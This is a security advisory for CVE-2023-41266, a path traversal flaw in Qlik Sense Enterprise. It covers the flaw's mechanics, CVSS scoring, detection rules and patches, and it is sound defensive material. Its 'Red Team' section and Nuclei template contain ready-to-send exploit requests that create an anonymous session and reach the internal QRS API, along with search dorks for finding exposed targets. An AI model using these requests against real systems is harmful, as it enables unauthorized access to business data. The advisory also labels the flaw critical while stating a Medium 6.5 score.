CVE-2023-41266

Executive Summary

CVE-2023-41266 is a critical path traversal vulnerability in Qlik Sense Enterprise for Windows. An unauthenticated remote attacker can exploit this flaw to generate an anonymous session and transmit HTTP requests to unauthorized endpoints. This can lead to unauthorized access to sensitive business intelligence data and manipulation of Qlik Sense dashboards. The vulnerability affects multiple versions of Qlik Sense Enterprise, and patches are available. The EPSS score is 0.9422, indicating a high probability of exploitation in the wild.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the Qlik Sense Enterprise for Windows application directly.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is remotely exploitable without authentication, and public proof-of-concept code exists. The EPSS score of 0.9422 indicates a very high probability of exploitation.

Deep Dive & Mechanics

The vulnerability resides in the Qlik Sense Enterprise for Windows web application. It is a path traversal flaw that allows an unauthenticated attacker to bypass authentication and access internal API endpoints. The core issue is improper validation of resource paths in the /resources/qmc/fonts/ endpoint. By injecting ../ sequences, an attacker can traverse directories and reach the Qlik Repository Service (QRS) API.

The attack flow:

1. The attacker sends a crafted GET request to /resources/qmc/fonts/../../../qrs/ReloadTask with a specific xrfkey parameter and a Cookie header containing a crafted X-Qlik-Session.
2. The server fails to properly sanitize the path, allowing traversal to the QRS API.
3. The server returns a response that includes a new X-Qlik-Session cookie, indicating a successful anonymous session creation.
4. The attacker can then use this session to make further requests to other QRS API endpoints, potentially extracting or manipulating data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely does not validate or sanitize user-supplied paths before processing them. For example:

// Vulnerable: Directly uses the path without validation
string path = Request.Path;
string fullPath = Path.Combine(baseDirectory, path);
// Process the file at fullPath

Patched Code (Conceptual): The patched code properly validates that the resolved path stays within the allowed directory.

// Patched: Validates the path to prevent traversal
string path = Request.Path;
string fullPath = Path.GetFullPath(Path.Combine(baseDirectory, path));
if (!fullPath.StartsWith(baseDirectory))
{
    // Reject the request
    return Unauthorized();
}
// Process the file at fullPath

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Qlik Sense Enterprise for Windows instance (e.g., May 2023 Patch 3)
• Network access to the target

Exploitation Steps:

1. Identify a vulnerable target using Shodan or FOFA dorks.
2. Send the following HTTP request to trigger the path traversal and create an anonymous session:

GET /resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf HTTP/1.1
Host: target.com
Cookie: X-Qlik-Session=13333333-3333-3333-3333-333333333337
X-Qlik-Xrfkey: 1333333333333337

3. The server will respond with a Set-Cookie header containing a new X-Qlik-Session value.
4. Use this session cookie to access other QRS API endpoints, such as:

GET /qrs/about HTTP/1.1
Host: target.com
Cookie: X-Qlik-Session=<new_session_cookie>
X-Qlik-Xrfkey: 1333333333333337

Automated Exploitation: Use the provided Nuclei template to automate detection and exploitation.

Blue Team

Detection:

• Monitor for HTTP requests to /resources/qmc/fonts/ with path traversal sequences (../).
• Alert on requests with suspicious X-Qlik-Session or X-Qlik-Xrfkey headers.
• Monitor for multiple failed authentication attempts followed by successful anonymous session creation.

Hunting:

• Search web server logs for requests containing ../../../qrs/ in the URI.
• Look for unusual patterns in X-Qlik-Session cookie values (e.g., repeated UUIDs).

Response:

• Immediately isolate affected systems.
• Apply the vendor patch.
• Rotate any exposed credentials or API keys.
• Conduct a forensic analysis to determine the scope of the breach.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /resources/qmc/fonts/../../../qrs/ReloadTask
  • HTTP requests with X-Qlik-Session and X-Qlik-Xrfkey headers containing crafted values like 13333333-3333-3333-3333-333333333337
  • Responses containing Set-Cookie: X-Qlik-Session=<UUID> where the UUID is not a legitimate session

• File System IOCs:

  • Unauthorized access to QRS API logs
  • Modified Qlik Sense configuration files

• Log IOCs:

  • Web server logs showing 400 status codes for requests to /resources/qmc/fonts/ with path traversal
  • Application logs showing anonymous session creation from unexpected IP addresses

Detection Engineering

YARA Rule

rule CVE_2023_41266_Qlik_Sense_Path_Traversal {
    meta:
        description = "Detects path traversal attempts for CVE-2023-41266 in Qlik Sense"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-41266"
    strings:
        $traversal = "../../../qrs/"
        $xrfkey = "X-Qlik-Xrfkey"
        $session = "X-Qlik-Session"
    condition:
        $traversal and $xrfkey and $session
}

Sigma Rule

title: Qlik Sense Path Traversal Attempt (CVE-2023-41266)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2023-41266 path traversal in Qlik Sense
author: Valters IT
date: 2025-04-08
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains: "../../../qrs/"
        cs(User-Agent): "*"
    condition: selection
falsepositives:
    - Legitimate administrative activity (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2023-41266 Qlik Sense Path Traversal Attempt";
    flow:to_server,established;
    content:"../../../qrs/"; http_uri;
    content:"X-Qlik-Xrfkey"; http_header;
    content:"X-Qlik-Session"; http_header;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Nuclei Template

id: CVE-2023-41266

info:
  name: Qlik Sense Enterprise - Path Traversal
  author: AdamCrosser
  severity: medium
  description: A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.
  impact: |
    Unauthenticated attackers can exploit path traversal to generate anonymous sessions and access unauthorized API endpoints, potentially extracting sensitive business intelligence data and manipulating Qlik Sense dashboards.
  remediation: |
    Update Qlik Sense Enterprise to August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, or August 2022 Patch 13 that properly validates resource paths and enforces authentication.
  reference:
    - https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801
    - https://www.praetorian.com/blog/advisory-qlik-sense/
    - https://www.praetorian.com/blog/qlik-sense-technical-exploit
    - https://community.qlik.com/t5/Release-Notes/tkb-p/ReleaseNotes
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-41266
    cwe-id: CWE-20
    epss-score: 0.9422
    epss-percentile: 0.99927
    cpe: cpe:2.3:a:qlik:qlik_sense:august_2022:-:*:*:enterprise:windows:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qlik
    product: qlik_sense
    framework: windows
    shodan-query:
      - http.favicon.hash:-74348711
      - http.html:"qlik"
      - http.title:"qlik-sense"
    fofa-query:
      - app="qlik-sense"
      - title="qlik-sense"
      - icon_hash=-74348711
      - body="qlik"
    google-query: intitle:"qlik-sense"
  tags: cve2023,cve,qlik,traversal,kev,windows,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf"
    headers:
      Cookie: X-Qlik-Session=13333333-3333-3333-3333-333333333337
      X-Qlik-Xrfkey: '1333333333333337'

    matchers:
      - type: dsl
        dsl:
          - status_code == 400
          - contains(to_lower(set_cookie), 'x-qlik-session')
          - contains(body, 'The comparison expression does not consist of three elements')
        condition: and
# digest: 4b0a00483046022100ea3ddf0dbddd15b7e0806bb2a32ad566fc5614cf1ace959babbce0ec4af3e39c022100f36dbb572fad1a16267149605bbd7b5b120c8e5e604e8f743d496e97cbc26b6f:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Qlik Sense Enterprise to one of the following fixed versions:
   • August 2023 IR
   • May 2023 Patch 4
   • February 2023 Patch 8
   • November 2022 Patch 11
   • August 2022 Patch 13
2. Workaround: If patching is not immediately possible, restrict network access to the Qlik Sense web interface using firewall rules or VPNs.
3. Monitor: Enable detailed logging and monitor for exploitation attempts.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block path traversal attempts.
• Conduct regular security assessments and penetration testing.
• Follow the principle of least privilege for all user accounts.
• Keep software up-to-date with the latest security patches.

Valters IT
Securing Your Digital Frontier

{/* [Security Hash: A243C1E84A2A024596EBED2E] */}